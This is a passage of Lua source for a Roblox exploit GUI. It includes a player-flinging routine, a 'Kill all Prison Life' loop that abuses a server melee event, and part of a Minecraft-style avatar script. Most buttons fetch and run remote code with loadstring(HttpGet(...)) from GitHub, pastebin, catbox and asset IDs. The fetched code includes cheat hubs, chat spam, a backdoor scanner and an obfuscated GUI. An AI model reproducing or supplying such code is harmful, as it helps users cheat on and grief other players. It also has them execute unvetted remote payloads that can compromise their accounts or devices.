							FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
							task.wait()

							FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
							task.wait()

							FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
							task.wait()

							FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
							task.wait()

							FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
							task.wait()

							FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
							task.wait()

							FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
							task.wait()

							FPos(BasePart, CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
							task.wait()

							FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
							task.wait()
						end
					else
						break
					end
				until BasePart.Velocity.Magnitude > 500 or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait
			end

			workspace.FallenPartsDestroyHeight = 0/0

			local BV = Instance.new("BodyVelocity")
			BV.Name = "EpixVel"
			BV.Parent = RootPart
			BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
			BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)

			Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)

			if TRootPart and THead then
				if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
					SFBasePart(THead)
				else
					SFBasePart(TRootPart)
				end
			elseif TRootPart and not THead then
				SFBasePart(TRootPart)
			elseif not TRootPart and THead then
				SFBasePart(THead)
			elseif not TRootPart and not THead and Accessory and Handle then
				SFBasePart(Handle)
			else
				return Message("Error Occurred", "Target is missing everything", 5)
			end

			BV:Destroy()
			Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
			workspace.CurrentCamera.CameraSubject = Humanoid

			repeat
				RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0)
				Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))
				Humanoid:ChangeState("GettingUp")
				table.foreach(Character:GetChildren(), function(_, x)
					if x:IsA("BasePart") then
						x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new()
					end
				end)
				task.wait()
			until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
			workspace.FallenPartsDestroyHeight = getgenv().FPDH
		else
			return Message("Error Occurred", "Random error", 5)
		end
	end

	if not Welcome then Message("Script by AnthonyIsntHere", "Enjoy!", 5) end
	getgenv().Welcome = true
	if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else return end

	if AllBool then
		for _,x in next, Players:GetPlayers() do
			SkidFling(x)
		end
	end

	for _,x in next, Targets do
		if GetPlayer(x) and GetPlayer(x) ~= Player then
			if GetPlayer(x).UserId ~= 1414978355 then
				local TPlayer = GetPlayer(x)
				if TPlayer then
					SkidFling(TPlayer)
				end
			else
				Message("Error Occurred", "This user is whitelisted! (Owner)", 5)
			end
		elseif not GetPlayer(x) and not AllBool then
			Message("Error Occurred", "Username Invalid", 5)
		end
	end

end)

UICorner_8.Parent = TextButton_7

TextButton_8.Parent = Page1
TextButton_8.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_8.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_8.BorderSizePixel = 0
TextButton_8.Size = UDim2.new(0, 90, 0, 38)
TextButton_8.Font = Enum.Font.SourceSans
TextButton_8.Text = "Sander X"
TextButton_8.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_8.TextScaled = true
TextButton_8.TextSize = 14.000
TextButton_8.TextWrapped = true
TextButton_8.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://raw.githubusercontent.com/kigredns/testUIDK/refs/heads/main/panel.lua"))()


end)

UICorner_9.Parent = TextButton_8

TextButton_9.Parent = Page1
TextButton_9.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_9.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_9.BorderSizePixel = 0
TextButton_9.Size = UDim2.new(0, 90, 0, 38)
TextButton_9.Font = Enum.Font.SourceSans
TextButton_9.Text = "ro exploit 5.0"
TextButton_9.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_9.TextScaled = true
TextButton_9.TextSize = 14.000
TextButton_9.TextWrapped = true
TextButton_9.MouseButton1Click:Connect(function()

	loadstring(game:GetObjects("rbxassetid://288646117")[1].Source)()
end)

UICorner_10.Parent = TextButton_9

TextButton_10.Parent = Page1
TextButton_10.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_10.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_10.BorderSizePixel = 0
TextButton_10.Size = UDim2.new(0, 90, 0, 38)
TextButton_10.Font = Enum.Font.SourceSans
TextButton_10.Text = "Kill all Prison Life"
TextButton_10.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_10.TextScaled = true
TextButton_10.TextSize = 14.000
TextButton_10.TextWrapped = true
TextButton_10.MouseButton1Click:Connect(function()
	spawn(function()
		while wait(0.1) do
			for i, v in next, game:GetService("Players"):GetChildren() do
				pcall(function()
					if v~= game:GetService("Players").LocalPlayer and not v.Character:FindFirstChildOfClass("ForceField") and v.Character.Humanoid.Health > 0 then
						while v.Character:WaitForChild("Humanoid").Health > 0 do
							wait();
							game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame;
							for x, c in next, game:GetService("Players"):GetChildren() do
								if c ~= game:GetService("Players").LocalPlayer then game.ReplicatedStorage.meleeEvent:FireServer(c) end
							end
						end
					end
				end)
				wait()
			end
		end
	end)
end)





UICorner_11.Parent = TextButton_10

TextButton_11.Parent = Page1
TextButton_11.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_11.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_11.BorderSizePixel = 0
TextButton_11.Size = UDim2.new(0, 90, 0, 38)
TextButton_11.Font = Enum.Font.SourceSans
TextButton_11.Text = "Invisible Script"
TextButton_11.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_11.TextScaled = true
TextButton_11.TextSize = 14.000
TextButton_11.TextWrapped = true
TextButton_11.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet('https://gist.githubusercontent.com/Commandant71/0119ed233c85c38db7f13118bc6c9c1c/raw/2d944e055bf6dca51f5adbaf00376b247cf9aef0/gistfile1.txt'))()

end)

UICorner_12.Parent = TextButton_11

TextButton_12.Parent = Page1
TextButton_12.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_12.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_12.BorderSizePixel = 0
TextButton_12.Size = UDim2.new(0, 90, 0, 38)
TextButton_12.Font = Enum.Font.SourceSans
TextButton_12.Text = "c00lclan"
TextButton_12.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_12.TextScaled = true
TextButton_12.TextSize = 14.000
TextButton_12.TextWrapped = true
TextButton_12.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://raw.githubusercontent.com/cfsmi2/c00lguiv1/refs/heads/main/Main.lua", true))()

end)

UICorner_13.Parent = TextButton_12

TextButton_13.Parent = Page1
TextButton_13.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_13.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_13.BorderSizePixel = 0
TextButton_13.Size = UDim2.new(0, 90, 0, 38)
TextButton_13.Font = Enum.Font.SourceSans
TextButton_13.Text = "MM2"
TextButton_13.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_13.TextScaled = true
TextButton_13.TextSize = 14.000
TextButton_13.TextWrapped = true
TextButton_13.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://raw.githubusercontent.com/Au0yX/Community/main/XhubMM2"))()

end)

UICorner_14.Parent = TextButton_13

TextButton_14.Parent = Page1
TextButton_14.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_14.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_14.BorderSizePixel = 0
TextButton_14.Size = UDim2.new(0, 90, 0, 38)
TextButton_14.Font = Enum.Font.SourceSans
TextButton_14.Text = "MM2 SCRIPT RANDOM"
TextButton_14.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_14.TextScaled = true
TextButton_14.TextSize = 14.000
TextButton_14.TextWrapped = true
TextButton_14.MouseButton1Click:Connect(function()
	loadstring(game:GetObjects("rbxassetid://4001118261")[1].Source)()

end)

UICorner_15.Parent = TextButton_14

TextButton_15.Parent = Page1
TextButton_15.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_15.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_15.BorderSizePixel = 0
TextButton_15.Size = UDim2.new(0, 90, 0, 38)
TextButton_15.Font = Enum.Font.SourceSans
TextButton_15.Text = "F3X "
TextButton_15.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_15.TextScaled = true
TextButton_15.TextSize = 14.000
TextButton_15.TextWrapped = true
TextButton_15.MouseButton1Click:Connect(function()

	loadstring(game:HttpGet("https://files.catbox.moe/7vustu.js"))()
end)

UICorner_16.Parent = TextButton_15

TextButton_16.Parent = Page1
TextButton_16.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_16.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_16.BorderSizePixel = 0
TextButton_16.Size = UDim2.new(0, 90, 0, 38)
TextButton_16.Font = Enum.Font.SourceSans
TextButton_16.Text = "C00lgui revival"
TextButton_16.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_16.TextScaled = true
TextButton_16.TextSize = 14.000
TextButton_16.TextWrapped = true
TextButton_16.MouseButton1Click:Connect(function()

	loadstring(game:GetObjects("rbxassetid://16738300563")[1].Source)()
end)

UICorner_17.Parent = TextButton_16

TextButton_17.Parent = Page1
TextButton_17.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_17.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_17.BorderSizePixel = 0
TextButton_17.Size = UDim2.new(0, 90, 0, 38)
TextButton_17.Font = Enum.Font.SourceSans
TextButton_17.Text = "Spam Chat"
TextButton_17.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_17.TextScaled = true
TextButton_17.TextSize = 14.000
TextButton_17.TextWrapped = true
TextButton_17.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet('https://pastebin.com/raw/diLuC5Wm'))()

end)

UICorner_18.Parent = TextButton_17

TextButton_18.Parent = Page1
TextButton_18.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_18.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_18.BorderSizePixel = 0
TextButton_18.Size = UDim2.new(0, 90, 0, 38)
TextButton_18.Font = Enum.Font.SourceSans
TextButton_18.Text = "RC7 REMAKE FAKE"
TextButton_18.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_18.TextScaled = true
TextButton_18.TextSize = 14.000
TextButton_18.TextWrapped = true
TextButton_18.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet('https://rawscripts.net/raw/Universal-Script-Rc7-Beta-rework-45161'))()

end)

UICorner_19.Parent = TextButton_18

TextButton_19.Parent = Page1
TextButton_19.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_19.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_19.BorderSizePixel = 0
TextButton_19.Size = UDim2.new(0, 90, 0, 38)
TextButton_19.Font = Enum.Font.SourceSans
TextButton_19.Text = "Backdoor Lalol"
TextButton_19.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_19.TextScaled = true
TextButton_19.TextSize = 14.000
TextButton_19.TextWrapped = true
TextButton_19.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet('https://raw.githubusercontent.com/Its-LALOL/LALOL-Hub/main/Backdoor-Scanner/script'))()

end)

UICorner_20.Parent = TextButton_19

TextButton_20.Parent = Page1
TextButton_20.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_20.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_20.BorderSizePixel = 0
TextButton_20.Size = UDim2.new(0, 90, 0, 38)
TextButton_20.Font = Enum.Font.SourceSans
TextButton_20.Text = "WolvexderGUI"
TextButton_20.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_20.TextScaled = true
TextButton_20.TextSize = 14.000
TextButton_20.TextWrapped = true
TextButton_20.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://raw.githubusercontent.com/WELVERION/GUILEAK/refs/heads/main/Obfuscated111", true))()

end)

UICorner_21.Parent = TextButton_20

TextButton_21.Parent = Page1
TextButton_21.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_21.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_21.BorderSizePixel = 0
TextButton_21.Size = UDim2.new(0, 90, 0, 38)
TextButton_21.Font = Enum.Font.SourceSans
TextButton_21.Text = "Infinity Yield"
TextButton_21.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_21.TextScaled = true
TextButton_21.TextSize = 14.000
TextButton_21.TextWrapped = true
TextButton_21.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet(('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'),true))()


end)

UICorner_22.Parent = TextButton_21

TextButton_22.Parent = Page1
TextButton_22.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_22.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_22.BorderSizePixel = 0
TextButton_22.Size = UDim2.new(0, 90, 0, 38)
TextButton_22.Font = Enum.Font.SourceSans
TextButton_22.Text = "Minecraft"
TextButton_22.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_22.TextScaled = true
TextButton_22.TextSize = 14.000
TextButton_22.TextWrapped = true
TextButton_22.MouseButton1Click:Connect(function()




	local targetName = game.Players.LocalPlayer.Name
	local player = game.Players:FindFirstChild(targetName)
	function putTexture(part, frontF, backF, topF, bottomF, leftF, rightF, className)
		local faces = {"Front", "Back", "Top", "Bottom", "Left", "Right"}
		for i,f in pairs(faces) do
			local decal = Instance.new(className, part)
			if i == 1 then decal.Texture = frontF decal.Name = f end
			if i == 2 then decal.Texture = backF or frontF decal.Name = f  end
			if i == 3 then decal.Texture = topF or frontF decal.Name = f  end
			if i == 4 then decal.Texture = bottomF or frontF decal.Name = f end
			if i == 5 then decal.Texture = leftF or frontF decal.Name = f  end
			if i == 6 then decal.Texture = rightF or frontF decal.Name = f  end
			decal.Face = f
		end
		return part
	end
	function makeSquare(position, size, color, transparency, parent)
		local label = Instance.new("TextLabel", parent)
		label.Text = ""
		label.BorderSizePixel = 0
		label.BackgroundTransparency = transparency
		label.Position = position
		label.Size = size
		label.BackgroundColor3 = color
	end
	function putToolBarSlot(position, image)
		local playerGui = player:FindFirstChild("PlayerGui")
		if playerGui then
			local gui = playerGui:FindFirstChild("ToolBar") or Instance.new("ScreenGui", playerGui)
			gui.Name = "ToolBar"
			local slot = Instance.new("ImageLabel", gui)
			slot.Position = position
			slot.Size = UDim2.new(0, 32, 0, 32)
			slot.BackgroundTransparency = 1
			slot.ImageTransparency = 0
			slot.Image = image
			slot.ZIndex = 2

			makeSquare(UDim2.new(0, 0, 0, 0), UDim2.new(0, 32, 0, 32), 
				Color3.new(95/255, 89/255, 76/255), 0, slot)
			makeSquare(UDim2.new(0, 0, 0, 0), UDim2.new(0, 2, 0, 32), 
				Color3.new(0/255, 0/255, 0/255), 0.5, slot)
			makeSquare(UDim2.new(0, 2, 0, 0), UDim2.new(0, 30, 0, 2), 
				Color3.new(0/255, 0/255, 0/255), 0.5, slot)
			makeSquare(UDim2.new(0, -2, 0, -2), UDim2.new(0, 36, 0, 2), 
				Color3.new(106/255, 106/255, 106/255), 0, slot)
			makeSquare(UDim2.new(0, -2, 0, -2), UDim2.new(0, 2, 0, 36), 
				Color3.new(106/255, 106/255, 106/255), 0, slot)
			makeSquare(UDim2.new(0, 0, 0, 32), UDim2.new(0, 34, 0, 2), 
				Color3.new(130/255, 130/255, 130/255), 0, slot)
			makeSquare(UDim2.new(0, 32, 0, 0), UDim2.new(0, 2, 0, 34), 
				Color3.new(130/255, 130/255, 130/255), 0, slot)
			makeSquare(UDim2.new(0, -4, 0, -2), UDim2.new(0, 2, 0, 38), 
				Color3.new(130/255, 130/255, 130/255), 0, slot)
			makeSquare(UDim2.new(0, 34, 0, -2), UDim2.new(0, 2, 0, 36), 
				Color3.new(106/255, 106/255, 106/255), 0, slot)
			makeSquare(UDim2.new(0, -2, 0, 34), UDim2.new(0, 38, 0, 2), 
				Color3.new(106/255, 106/255, 106/255), 0, slot)
			makeSquare(UDim2.new(0, -4, 0, -4), UDim2.new(0, 40, 0, 2), 
				Color3.new(156/255, 156/255, 156/255), 0, slot)
		end
	end
	function divide(x, d)
		if x ~= 0 and d ~= 0 then
			return x/d
		else
			return x
		end
	end -- so it doesn't divide by zero
	function getDistance(v1, v2)
		return math.abs((Vector3.new(math.abs(v2.X - v1.X), math.abs(v2.Y - v1.Y), math.abs(v2.Z - v1.Z))).Magnitude)
	end
	function round(x)
		if x%2 ~= 0.5 then
			return math.floor(x+0.5)
		end
		return x-0.5
	end
	function weldTo(part1, part2)
		local weld = Instance.new("Weld", part1)
		weld.Part0 = part1
		weld.Part1 = part2
	end
	function getMagnitudeXZ(velocity)
		return math.abs(velocity.X) + math.abs(velocity.Z)
	end
	function placeBlock(block, cFPos)
		local blockPlaced = Instance.new("Part", workspace)
		blockPlaced.Material = "Fabric"
		blockPlaced.Anchored = true
		blockPlaced.Size = block.size
		blockPlaced.CFrame = cFPos
		putTexture(blockPlaced, block.frontTex, block.backTex, 
			block.topTex, block.bottomTex, block.leftTex, block.rightTex, "Texture")
		return blockPlaced
	end
	local toolBar = {
		Dirt = {
			size = Vector3.new(2.6, 2.6, 2.6),
			frontTex = "rbxassetid://179655033",
			backTex = "rbxassetid://179655033",
			topTex = "rbxassetid://179655033",
			bottomTex = "rbxassetid://179655033",
			leftTex = "rbxassetid://179655033",
			rightTex = "rbxassetid://179655033"
		},
		Grass = {
			size = Vector3.new(2.6, 2.6, 2.6),
			frontTex = "rbxassetid://96430337",
			backTex = "rbxassetid://96430337",
			topTex = "rbxassetid://96430265",
			bottomTex = "rbxassetid://179655033",
			leftTex = "rbxassetid://96430337",
			rightTex = "rbxassetid://96430337"
		},
		Stone = {
			size = Vector3.new(2.6, 2.6, 2.6),
			frontTex = "rbxassetid://75880927",
			backTex = "rbxassetid://75880927",
			topTex = "rbxassetid://75880927",
			bottomTex = "rbxassetid://75880927",
			leftTex = "rbxassetid://75880927",
			rightTex = "rbxassetid://75880927"
		},
		Diamond_Ore = {
			size = Vector3.new(2.6, 2.6, 2.6),
			frontTex = "rbxassetid://57928490",
			backTex = "rbxassetid://57928490",
			topTex = "rbxassetid://57928490",
			bottomTex = "rbxassetid://57928490",
			leftTex = "rbxassetid://57928490",
			rightTex = "rbxassetid://57928490"
		},
		Diamond_Block = {
			size = Vector3.new(2.6, 2.6, 2.6),
			frontTex = "rbxassetid://56749955",
			backTex = "rbxassetid://56749955",
			topTex = "rbxassetid://56749955",
			bottomTex = "rbxassetid://56749955",
			leftTex = "rbxassetid://56749955",
			rightTex = "rbxassetid://56749955"
		},
		Wood_Planks = {
			size = Vector3.new(2.6, 2.6, 2.6),
			frontTex = "rbxassetid://346201871",
			backTex = "rbxassetid://346201871",
			topTex = "rbxassetid://346201871",
			bottomTex = "rbxassetid://346201871",
			leftTex = "rbxassetid://346201871",
			rightTex = "rbxassetid://346201871"
		},
		Oak_Log = {
			size = Vector3.new(2.6, 2.6, 2.6),
			frontTex = "rbxassetid://310831812",
			backTex = "rbxassetid://310831812",
			topTex = "rbxassetid://152538557",
			bottomTex = "rbxassetid://152538557",
			leftTex = "rbxassetid://310831812",
			rightTex = "rbxassetid://310831812"
		}
	}
	if player then
		local char = player.Character
		if char then
			for _,cM in pairs(char:GetChildren()) do
				if cM.ClassName == "CharacterMesh" then cM:Destroy() end
			end

			--[]
			local gui = player.PlayerGui:FindFirstChild("ToolBar") or Instance.new("ScreenGui", player.PlayerGui)
			gui.Name = "ToolBar"

			makeSquare(UDim2.new(0.5, -166, 1, -111), UDim2.new(0, 364, 0, 44), 
				Color3.new(0/255, 0/255, 0/255), 0, gui)

			local blocks = {"Dirt", "Grass", "Stone", "Diamond_Ore", "Diamond_Block", "Wood_Planks", "Oak_Log"}
			for i = 1, 9 do
				if toolBar[blocks[i]] ~= nil then
					putToolBarSlot(UDim2.new(0.5, -160 + ((i-1)*40), 1, -105), toolBar[blocks[i]].frontTex)
				else
					putToolBarSlot(UDim2.new(0.5, -160 + ((i-1)*40), 1, -105), "")				
				end
			end	

			local humRootPart = char:WaitForChild("HumanoidRootPart")
			local head = char:WaitForChild("Head")
			local torso = char:WaitForChild("Torso")
			local lArm = char:WaitForChild("Left Arm")
			local rArm = char:WaitForChild("Right Arm")
			local lLeg = char:WaitForChild("Left Leg")
			local rLeg = char:WaitForChild("Right Leg")

			head.Size = Vector3.new(1.3, 1.3, 1.3)
			putTexture(head, "rbxassetid://38738031", "rbxassetid://36047330", 
				"rbxassetid://36047341", "rbxassetid://36047347",
				"rbxassetid://36047323", "rbxassetid://36047315", "Decal")
			head:WaitForChild("Mesh"):Destroy()
			head:WaitForChild("face"):Destroy()

			torso.Size = Vector3.new(1.3, 1.95, 0.65)
			putTexture(torso, "rbxassetid://38934753", "rbxassetid://38934731", 
				"rbxassetid://38934780", "rbxassetid://38934740",
				"rbxassetid://38934762", "rbxassetid://38934762", "Decal")

			lArm.Size = Vector3.new(0.65, 1.95, 0.65)
			putTexture(lArm, "rbxassetid://38934581", "rbxassetid://38934560", 
				"rbxassetid://38934613", "rbxassetid://38934568",
				"rbxassetid://38934601", "rbxassetid://38934591", "Decal")

			rArm.Size = Vector3.new(0.65, 1.95, 0.65)
			putTexture(rArm, "rbxassetid://38934560", "rbxassetid://38934581", 
				"rbxassetid://38934613", "rbxassetid://38934568",
				"rbxassetid://38934601", "rbxassetid://38934591", "Decal")

			lLeg.Size = Vector3.new(0.65, 1.95, 0.65)
			putTexture(lLeg, "rbxassetid://38936226", "rbxassetid://38936209", 
				"rbxassetid://38934719", "rbxassetid://38934712",
				"rbxassetid://38936255", "rbxassetid://38936242", "Decal")

			rLeg.Size = Vector3.new(0.65, 1.95, 0.65)
			putTexture(rLeg, "rbxassetid://38936209", "rbxassetid://38936226", 
				"rbxassetid://38934719", "rbxassetid://38934712",
				"rbxassetid://38936242", "rbxassetid://38936255", "Decal")

			char.Humanoid:ClearAllChildren()
			char.Animate:Remove()		

			-- now for the real stuff
			-- |
			-- |
			-- V
			Instance.new("BlockMesh", torso)
			Instance.new("BlockMesh", lArm)
			Instance.new("BlockMesh", rArm)
			Instance.new("BlockMesh", lLeg)
			Instance.new("BlockMesh", rLeg)

			local camera = workspace.Camera
			local camPart = Instance.new("Part", camera)
			camPart.Size = Vector3.new(0, 0, 0)
			camPart.CFrame = camera.CFrame
			camPart.Transparency = 1

			--[[local cameraHand = Instance.new("Part", camera)
			cameraHand.Size = Vector3.new(0.65, 1.95, 0.65)
			cameraHand.CanCollide = false
			cameraHand.Anchored = true
			cameraHand.Name = "CameraHand"
			putTexture(cameraHand, "rbxassetid://38934560", "rbxassetid://38934581", 
				"rbxassetid://38934613", "rbxassetid://38934568",
				"rbxassetid://38934601", "rbxassetid://38934591", "Decal")
			
			local cameraHandWeld = Instance.new("Motor6D", camPart)
			cameraHandWeld.Part0 = camPart
			cameraHandWeld.Part1 = cameraHand
			cameraHandWeld.C0 = CFrame.new(5, 0, 0)
			]]--

			local humanoid = char:WaitForChild("Humanoid")	
			humanoid.HipHeight = 0.3	

			local rootJoint = Instance.new("Motor6D", torso)
			rootJoint.Name = "RootJoint"
			rootJoint.Part0 = humRootPart
			rootJoint.Part1 = torso
			rootJoint.C1 = CFrame.new(0, 0.05, 0)

			local neck = Instance.new("Motor6D", torso)
			neck.Name = "Neck"
			neck.Part0 = head
			neck.Part1 = torso

			local lS = Instance.new("Motor6D", torso)
			lS.Name = "Left Shoulder"
			lS.Part0 = lArm
			lS.Part1 = torso
			lS.C0 = CFrame.new(-0.325, 0.975, 0) * CFrame.Angles(0, 0, 0)
			lS.C1 = CFrame.new(0.65, 0.975, 0)

			local rS = Instance.new("Motor6D", torso)
			rS.Name = "Right Shoulder"
			rS.Part0 = rArm
			rS.Part1 = torso
			rS.C0 = CFrame.new(-0.325, 0.975, 0) * CFrame.Angles(0, 0, 0)
			rS.C1 = CFrame.new(-0.65, 0.975, 0) * CFrame.Angles(0, -math.rad(180), 0)

			local lH = Instance.new("Motor6D", torso)
			lH.Name = "Left Hip"
			lH.Part0 = lLeg
			lH.Part1 = torso
			lH.C0 = CFrame.new(0, 0.975, 0)
			lH.C1 = CFrame.new(0.325, -0.975, 0) * CFrame.Angles(0, 0, 0)

			local rH = Instance.new("Motor6D", torso)
			rH.Name = "Right Hip"
			rH.Part0 = rLeg
			rH.Part1 = torso
			rH.C0 = CFrame.new(0, 0.975, 0)
			rH.C1 = CFrame.new(-0.325, -0.975, 0) * CFrame.Angles(0, -math.rad(180), 0)

			for _,p in pairs(char:GetChildren()) do
				if p.Name ~= "HumanoidRootPart" and p.ClassName == "Part" then
					local hit = Instance.new("Part", char)
					hit.Name = "DamagePart"
					hit.BrickColor = BrickColor.new("Bright red")
					hit.Material = "SmoothPlastic"
					hit.Transparency = 1
					hit.Size = Vector3.new(p.Size.X + 0.05, p.Size.Y + 0.05, p.Size.Z + 0.05)
					hit.CanCollide = false
					weldTo(hit, p)
				end
			end

			local ticks = 0
			local times = 0

			local walkAnim = 0
			local increaseWalkAnim = 1

			local idleAnimRotX = 0
			local idleAnimRotZ = 0
			local sneaking = 0

			local RS = game:GetService("RunService").RenderStepped
			local Mouse = player:GetMouse()		

			local oldHP = humanoid.Health
			local damageTime = 0

			local punchRotX = 0
			local punchRotY = 0
			local punchRotZ = 0			
			local punchSpeed = 0
			local punching = 0
			local selectedBlock = 8
			local punchEnded = 1
			local itemOnHand = nil

			local handItem = Instance.new("Part", char)
			handItem.Name = "HandItem"
			handItem.Size = Vector3.new(0.52, 0.52, 0.52)
			handItem.Transparency = 1	
			handItem.CanCollide = false

			local handItemWeld = Instance.new("Weld", char)
			handItemWeld.Part0 = handItem
			handItemWeld.Part1 = lArm
			handItemWeld.C1 = CFrame.new(0, -0.9, -0.6) * CFrame.Angles(math.rad(-10), math.rad(45), 0)	

			local sound = Instance.new("Sound", char)
			sound.Name = "Hurt"
			sound.Volume = 10
			sound.SoundId = "rbxassetid://535690488"		

			local facesToResize = {"Front", "Back", "Left", "Right", "Bottom", "Top"}
			Mouse.Button1Down:connect(function()
				if punchEnded == 1 then punching = 1 end
				if Mouse.Target then
					if getDistance(head.CFrame.p, Mouse.Hit.p) <= 10.4 then
						local humanoid = Mouse.Target.Parent:FindFirstChild("Humanoid")
						if humanoid then
							humanoid.Health = humanoid.Health - 10
							local parts = Mouse.Target.Parent:GetChildren()
							for _,p in pairs(parts) do
								if p.ClassName == "Part" then
									p.Velocity = Vector3.new(p.Velocity.X + (head.CFrame.lookVector.X * 18), p.Velocity.Y + (head.CFrame.lookVector.Y * 18) + 8, p.Velocity.Z + (head.CFrame.lookVector.Z * 18))
								end
							end
							return
						end
						local x = Mouse.Target.CFrame.p.X
						local y = Mouse.Target.CFrame.p.Y
						local z = Mouse.Target.CFrame.p.Z
						if Mouse.TargetSurface.Name == "Right" then x = x + 2.6 end
						if Mouse.TargetSurface.Name == "Left" then x = x - 2.6 end
						if Mouse.TargetSurface.Name == "Top" then y = y + 2.6 end
						if Mouse.TargetSurface.Name == "Bottom" then y = y - 2.6 end
						if Mouse.TargetSurface.Name == "Back" then z = z + 2.6 end
						if Mouse.TargetSurface.Name == "Front" then z = z - 2.6 end
						if Mouse.Target.Size.X > 2.6 or Mouse.Target.Size.Y > 2.6 or Mouse.Target.Size.Z > 2.6 then
							x = Mouse.Hit.p.X
							y = Mouse.Hit.p.Y
							z = Mouse.Hit.p.Z
						end
						--				local x = round(math.abs(mouseX)/2.6)*2.6
						--				local y = round(math.abs(mouseY)/2.6)*2.6
						--				local z = round(math.abs(mouseZ)/2.6)*2.6
						--				if Mouse.Hit.p.X < 0 then x = x * -1 end
						--				if Mouse.Hit.p.Y < 0 then y = y * -1 end
						--				if Mouse.Hit.p.Z < 0 then z = z * -1 end
						if selectedBlock == 0 then
							local blk = placeBlock(toolBar.Dirt, CFrame.new(x, y, z))
							for _,f in pairs(facesToResize) do
								blk:WaitForChild(f).StudsPerTileU = 2.6
								blk:WaitForChild(f).StudsPerTileV = 2.6
							end
						elseif selectedBlock == 1 then
							local blk = placeBlock(toolBar.Grass, CFrame.new(x, y, z))
							for _,f in pairs(facesToResize) do
								blk:WaitForChild(f).StudsPerTileU = 2.6
								blk:WaitForChild(f).StudsPerTileV = 2.6
							end
						elseif selectedBlock == 2 then
							local blk = placeBlock(toolBar.Stone, CFrame.new(x, y, z))
							for _,f in pairs(facesToResize) do
								blk:WaitForChild(f).StudsPerTileU = 2.6
